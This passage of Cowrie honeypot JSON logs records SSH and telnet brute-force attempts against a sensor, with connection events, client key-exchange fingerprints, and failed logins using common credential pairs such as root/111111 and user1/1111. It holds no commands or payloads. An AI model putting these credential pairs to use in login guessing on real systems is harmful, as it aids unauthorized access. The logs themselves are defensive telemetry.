-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:04.353250Z","src_ip":"176.65.132.129","session":"7a9b5f05f6c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:04.687572Z","src_ip":"176.65.132.129","session":"7a9b5f05f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:05.775172Z","src_ip":"176.65.132.129","session":"7a9b5f05f6c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"8032cb4e547b","protocol":"ssh","message":"New connection: 176.65.132.129:58000 (159.203.135.109:22) [session: 8032cb4e547b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:07.609647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:07.614942Z","src_ip":"176.65.132.129","session":"8032cb4e547b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:07.698187Z","src_ip":"176.65.132.129","session":"8032cb4e547b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:07.946934Z","src_ip":"176.65.132.129","session":"8032cb4e547b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:09.033178Z","src_ip":"176.65.132.129","session":"8032cb4e547b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42536,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2697ff34187","protocol":"ssh","message":"New connection: 103.122.221.179:42536 (159.203.135.109:22) [session: f2697ff34187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:09.392723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:09.398054Z","src_ip":"103.122.221.179","session":"f2697ff34187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:09.653730Z","src_ip":"103.122.221.179","session":"f2697ff34187","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00143194198608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:10.196833Z","src_ip":"152.42.224.71","session":"bed3a112995f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha12","message":"login attempt [root/sasha12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:10.413679Z","src_ip":"103.122.221.179","session":"f2697ff34187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58002,"dst_ip":"159.203.135.109","dst_port":22,"session":"128a06df8555","protocol":"ssh","message":"New connection: 176.65.132.129:58002 (159.203.135.109:22) [session: 128a06df8555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:10.891906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:10.897779Z","src_ip":"176.65.132.129","session":"128a06df8555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.639718532562256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:11.056003Z","src_ip":"152.42.224.71","session":"d77e68aa439d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:11.106391Z","src_ip":"176.65.132.129","session":"128a06df8555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:11.488500Z","src_ip":"176.65.132.129","session":"128a06df8555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:11.670707Z","src_ip":"103.122.221.179","session":"f2697ff34187","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47826,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a25f5304dd6","protocol":"telnet","message":"New connection: 152.42.224.71:47826 (10.17.0.5:23) [session: 9a25f5304dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:11.765401Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:12.574727Z","src_ip":"176.65.132.129","session":"128a06df8555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58006,"dst_ip":"159.203.135.109","dst_port":22,"session":"23687723b595","protocol":"ssh","message":"New connection: 176.65.132.129:58006 (159.203.135.109:22) [session: 23687723b595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:14.261831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:14.267320Z","src_ip":"176.65.132.129","session":"23687723b595","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:14.350338Z","src_ip":"176.65.132.129","session":"23687723b595","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:14.597118Z","src_ip":"176.65.132.129","session":"23687723b595","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:15.775614Z","src_ip":"176.65.132.129","session":"23687723b595","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44044,"dst_ip":"159.203.135.109","dst_port":22,"session":"263cd24c0863","protocol":"ssh","message":"New connection: 176.65.132.129:44044 (159.203.135.109:22) [session: 263cd24c0863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:17.461623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:17.471272Z","src_ip":"176.65.132.129","session":"263cd24c0863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:17.554253Z","src_ip":"176.65.132.129","session":"263cd24c0863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:17.921320Z","src_ip":"176.65.132.129","session":"263cd24c0863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35008,"dst_ip":"10.17.0.5","dst_port":23,"session":"abf38c7053dc","protocol":"telnet","message":"New connection: 152.42.224.71:35008 (10.17.0.5:23) [session: abf38c7053dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:18.616627Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:19.006969Z","src_ip":"176.65.132.129","session":"263cd24c0863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44066,"dst_ip":"159.203.135.109","dst_port":22,"session":"d63a4abf7b57","protocol":"ssh","message":"New connection: 176.65.132.129:44066 (159.203.135.109:22) [session: d63a4abf7b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:20.964320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:20.969252Z","src_ip":"176.65.132.129","session":"d63a4abf7b57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:21.051619Z","src_ip":"176.65.132.129","session":"d63a4abf7b57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:21.297539Z","src_ip":"176.65.132.129","session":"d63a4abf7b57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:22.385825Z","src_ip":"176.65.132.129","session":"d63a4abf7b57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44084,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f8a36397c3","protocol":"ssh","message":"New connection: 176.65.132.129:44084 (159.203.135.109:22) [session: d5f8a36397c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:24.270993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:24.276400Z","src_ip":"176.65.132.129","session":"d5f8a36397c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:24.358768Z","src_ip":"176.65.132.129","session":"d5f8a36397c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:24.607517Z","src_ip":"176.65.132.129","session":"d5f8a36397c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35014,"dst_ip":"10.17.0.5","dst_port":23,"session":"a14e654d4728","protocol":"telnet","message":"New connection: 152.42.224.71:35014 (10.17.0.5:23) [session: a14e654d4728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:24.733074Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:25.695195Z","src_ip":"176.65.132.129","session":"d5f8a36397c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49706,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b0745572102","protocol":"telnet","message":"New connection: 152.42.224.71:49706 (10.17.0.5:23) [session: 5b0745572102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:26.745305Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49404,"dst_ip":"159.203.135.109","dst_port":22,"session":"a27bf0dd4c08","protocol":"ssh","message":"New connection: 176.65.132.129:49404 (159.203.135.109:22) [session: a27bf0dd4c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:27.751793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:02:27.757336Z","src_ip":"176.65.132.129","session":"a27bf0dd4c08","protocol":"ssh"}
